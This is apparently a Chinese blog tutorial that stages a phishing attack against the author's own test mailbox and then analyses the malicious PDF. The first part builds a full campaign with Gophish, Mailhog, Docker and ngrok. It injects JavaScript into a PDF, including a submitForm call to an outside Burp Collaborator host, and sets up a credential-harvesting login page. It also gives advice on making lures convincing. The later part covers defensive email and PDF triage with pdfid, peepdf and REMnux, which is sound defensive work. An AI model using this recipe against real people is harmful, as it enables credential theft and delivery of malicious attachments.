今天给大家分享一个自己钓自己的网络钓鱼攻击案例,我将从创建到实施做一个完整的讲解,其中会使用 docker,更方便的搭建环境,主要用到的工具包括:Gophish(一个钓鱼框架)、Mailhog(邮件发送服务)。
这里使用的钓鱼鱼饵是 pdf,将恶意的 js 代码注入到 pdf 文件,然后创建一个虚假登录网站,让受害者打开虚假网站,输入账号密码,或者下载附件执行恶意 js 代码。
使用到的开源工具 JS2PDFInjector,项目地址:
https://github.com/cornerpirate/JS2PDFInjector
可以将一个简单的恶意 js 注入到 pdf 文件:
这个 js 的功能是弹出警告框,作为演示,代码:
app.alert("alter alert");
this.submitForm('http://azdn342b12dbmo0uvmj5yrekrbx1lq.burpcollaborator.net');
使用方法:
java -jar JS2PDFInjector-1.0.jar $(pwd)/sample.pdf app.js
注意:参数中需要提供 pdf 的绝对路径,否则会报错,如图:
使用下面的 docker 配置文件,启动 docker 服务:
services:
gophish:
image: "gophish/gophish"
ports:
- "3333:3333"
mailhog:
image: "mailhog/mailhog"
ports:
- "1025:1025"
- "8025:8025"
depends_on:
- gophish
启动服务:
gophish 服务使用的是 3333 端口,默认用户名密码为 admin/gophish
。由于 docker 每次启动时密码都不同,所以无法使用默认密码登录,可以在控制台看到密码:
docker run -it --rm -p 3333:3333 gophish/gophish
然后使用获得的密码登录系统:
然后首次登录需要修改密码:
登录系统之后:
我们使用 mailhog 来创建 SMTP 服务,启动服务之后,绑定的地址是 0.0.0.0:1025:
可以使用 GUI 登录:
[email protected] 是发送邮件的邮箱地址,填写 SMTP 的地址 0.0.0.0:1025
:
然后发送测试邮件,我用来接收测试邮件的地址是 [email protected]:
点击发送按钮,看到一个报错信息:
如果我们不是使用 docker 来创建服务,可能不会存在这个问题,因为两个服务不在同一个 docker 中运行,无法链接 smtp 服务器,我们必须使用 IP 而不是绑定的本地地址。
如果两个 docker 在桥接网络中,他们是可以相互通信的,首先要注意钓鱼服务创建的网络 ID:
docker network ls
接下来查看其分配的 IP 地址,我们需要知道 mailhog 的 IP :
docker network inspect fcff01c8be6a
上图是分配的网段信息,向下翻找出 mailhob 服务的 IP:
然后返回之前的邮箱配置,再次尝试:
重复之前的测试过程发现成功发送:
去邮箱查看是否收到邮件:
接下来保存配置文件,进行后续的操作。
这个页面是展示给受害者查看的,需要结合一些用户感兴趣的内容,才能提高成功率,比如彩票中奖、热点话题、紧急密码重置页面等。
作为攻击者,如果制作的登录页面太假,受害者将不会上当,按你的期望执行,我这里做了一个简单的登录页面,然后在用户登录之后,将会记录它的账号密码信息,源码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Right Now Nothing</title>
</head>
<body>
<form method="post" >
name:<input name="username" ><br>
pass:<input name="password" ><br>
<input type="submit" value="submit">
</form>
</body>
</html>
使用 ngrok 创建一个隧道,可以设置在公网上,供任意人访问:
ngrok http 9002
我们还需要在本地创建一个服务,否则无法远程连接到本地:
本地使用 python 创建 http 服务:
我们可以通过导入网站的方式,也可以通过复制源代码的方式新建页面:
导入之后,就可以看到页面的展示:
在增加一个登录完成之后,重定向之后的页面:
页面内容如图:
保存之后,你也可以对其进行修改或者删除:
目标是否点击你的钓鱼链接,取决于你的邮件内容是否有足够的吸引力,这个环节失败,那么整个钓鱼过程就失败了,为了验证技术,我简单创建了一个,在实际钓鱼中,一定会失败,因为很假:
{{.URL}}
会自动替换为 gophish 的服务器 IP,{{.FirstName}}
会自动替换为目标邮箱的名字。
接下来可以添加一个图片,用来记录用户是否打开邮件并查看内容,何时打开的:
这里我已经创建了一个电子邮件模板:
忘记添加附件了,我们来编辑一下,点击增加文件的功能,添加恶意附件:
我们可以在 gophish 上导入受害者列表:
我们添加了一个测试用户 john wick,可以修改,也可以删除。
创建一个新的钓鱼活动,选择我们之前创建的电子邮件模板、登录页面和用户组,用户访问的 URL 是 gophish 的监听端口,服务器 IP 是 172.18.0.2,直接用 IP 可能不那么可信,可以注册域名并配置解析,这里我简单用 host 来修改:
由于邮件模板中使用的是 {{.URL}}
,所以需要配置 gopher 的监听 URL:
启动攻击之后,可以在仪表盘看到邮件发送成功,是否打开邮件,是否点击链接等行为:
我们再次进入 mailhog 的控制面板,可以看到收件箱有一封电子邮件:
打开之后,内容如图:
我们在 MIME 中可以看到我们添加的附件:
下载 pdf 附件,当我们打开邮件内容中的 URL 时,会看到登录页面:
填写信息后登录:
会跳转到我们预定义好的页面:
再来看看仪表盘,我们看到信息有变化,记录了详细的信息:
点击查看详情的按钮:
结果如图:
我们看到了获得的用户名和密码,接下来尝试打开我们制作好的 pdf,发现 js 执行成功,弹出了警报框:
当然,执行 js 不只是这个,还能做很多其他的事儿,需要大家自己去拓展。脚本中还有链接远程服务器的代码,执行如图:
点击允许之后,会在 burp 的协作服务器收到 DNS 和 HTTP 的请求记录:
这就是一次完整的钓鱼攻击活动记录。
分析钓鱼邮件或者附件,需要在沙盒中完成,不然自己就成了受害者,偷鸡不成蚀把米。
1、分析来源
2、尝试查找电子邮件的来源,例如发件人的 IP,分析电子邮件标题
两个消息头分析的网站:
https://toolbox.googleapps.com/apps/messageheader/analyzeheader
https://mha.azurewebsites.net/
3、提取分析 URL
https://gchq.github.io/CyberChef/#recipe=Extract_URLs%28false%29Defang_URL%28true,true,true,%27Valid%20domains%20and%20full%20URLs%27%29&input=aHR0cDovL2dvb2dsZS5jb20
4、检查可疑 URL 或 IP 地址的 DNS 记录
5、截取可疑 URL 或 IP 地址的屏幕截图
https://www.url2png.com/
6、检测 URL 或者 IP 是否已被加黑
https://www.ipvoid.com/ip-blacklist-check/
7、检测 URL 或者 IP 是否存在恶意
https://www.virustotal.com/gui/home/upload
8、下载附件,上传分析,看是否是已知威胁
https://www.virustotal.com/gui/home/upload
https://talosintelligence.com/talos_file_reputation
9、最后使用手工或者工具分析恶意软件
REMnux 是一个用于逆向工程和分析恶意软件的 Linux 工具包。REMnux 提供由社区创建的精选免费工具集合。分析师可以使用它来调查恶意软件,而无需查找、安装和配置工具。
使用 docker 来安装部署该工具:
docker pull remnux/remnux-distro
docker run --rm -itd remnux/remnux-distro /bin/bash
docker cp downloadme.pdf '<contid>:/tmp'
docker exec -it d3511ccab833 /bin/bash
进入 docker 之后:
首先检查 pdf 是否具有正确的 magic 数:
检查方式,可以参考:
https://en.wikipedia.org/wiki/List_of_file_signatures
接下来使用一个名为 pdfid 的工具来分析 pdf 文件:
pdfid lastone.pdf
可以看到 pdf 中包含了 javascript 内容,而且不能打开 pdf,因为 /OpenAction 也是 1 ,这个意思是打开 pdf 文件时会执行一些操作。其他内容的意思:
/Page - pdf 的页数
/Encrypt - 规定需要读取的密码
/ObjStm - 对象流
/Js - pdf 文件可能包含恶意打开的 js 代码
/AA 和 /OpenAction - 当我们打开 pdf 文件时将自动执行的操作。可以自动启动恶意 js 命令
/AcroForm - 使用 Adobe Acrobat Pro/Standard 制作的 pdf 表单
/JBIG2Decode - 表示 pdf 使用 JBIG2Decode 压缩
/RichMedia - 用于在 pdf 上嵌入文件、视频等
/Launch - 启动一些动作
/EmbeddedFile - 包含一些外部文件
/XFA - XML 表单架构
/URI - 要访问的 URL
我还发现一个工具 peepdf 比 pdfid 更好,因为 peepdf 可以提供相同的信息:
peepdf lastone.pdf
接下来,我们提取 pdf 中的 js 代码,首先将下面的内容保存到 extract.txt:
extract js > extracted.txt
然后执行命令:
peepdf -s extract.txt malicouspdf.pdf
到这里,整个分析就结束了。